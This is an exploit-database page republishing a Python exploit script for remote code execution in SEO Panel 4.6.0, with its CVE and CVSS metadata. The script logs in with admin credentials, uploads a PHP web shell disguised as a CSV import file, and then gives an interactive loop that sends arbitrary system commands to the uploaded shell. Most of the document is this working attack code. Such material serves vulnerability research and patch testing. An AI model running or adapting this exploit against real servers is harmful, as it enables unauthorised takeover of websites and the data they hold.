Advertisement






SEO Panel 4.6.0 Remote Code Execution

CVE Category Price Severity
CVE-2018-20529 CWE-94 $3,000 High
Author Risk Exploitation Type Date
Larry W. Cashdollar High Remote 2020-10-13
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020100077

Below is a copy:

SEO Panel 4.6.0 Remote Code Execution
# Exploit Title: SEO Panel 4.6.0 - Remote Code Execution
# Google Dork: N/A
# Date: 2020-10-03
# Exploit Author: Kiko Andreu (kikoas1995) & Daniel Monzón (stark0de)
# Vendor Homepage: https://seopanel.org/
# Software Link: https://www.seopanel.org/spdownload/4.6.0
# Version: 4.6.0
# Tested on: Kali Linux x64 5.4.0
# CVE : N/A

#!/usr/bin/python

import sys
import os
import requests

ip = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
port = sys.argv[4]
proto = sys.argv[5]

if (len(sys.argv) < 6):
    print "Usage: python " + sys.argv[0] + " <ip> + <webapp user> + <webapp pwd> + <webapp port> + <http/https>"
    exit()

session = requests.session()

# Get to login page
burp0_url = proto + "://" + ip + ":" + port + "//login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
session.get(burp0_url, headers=burp0_headers, verify=False)

# Login with the provided credentials 
burp0_url = proto + "://" + ip + ":" + port + "//login.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": proto + "://" + ip + "//login.php", "Content-Type": "application/x-www-form-urlencoded", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"sec": "login", "red_referer": proto + "://" + ip + "/", "userName": user, "password": pwd, "login": ''}
session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)

# Upload the webshell
burp0_url = proto + "://" + ip + ":" + port + "//websites.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": proto + "://" + ip + "//admin-panel.php", "Content-Type": "multipart/form-data; boundary=---------------------------193626971803013289998688514", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
burp0_data = "-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"sec\"\r\n\r\nimport\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"userid\"\r\n\r\n1\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"website_csv_file\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php system($_GET['c']); ?>\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"delimiter\"\r\n\r\n,\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"enclosure\"\r\n\r\n\"\r\n-----------------------------193626971803013289998688514\r\nContent-Disposition: form-data; name=\"escape\"\r\n\r\n\\\r\n-----------------------------193626971803013289998688514--\r\n"
session.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)

exit = 0
first = 1
# Loop for remote code execution
while (exit == 0):
    cmd = raw_input("> ")

    burp0_url = proto + "://" + ip + ":" + port + "//tmp/shell.php?c=" + cmd
    burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
    x = session.get(burp0_url, headers=burp0_headers, verify=False)  
    if (x.status_code == 200 and first == 1):
        first = 0
        print "[+] Shell uploaded successfully!"
    
    print x.text 
    if (cmd == "exit"):
        exit = 1

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum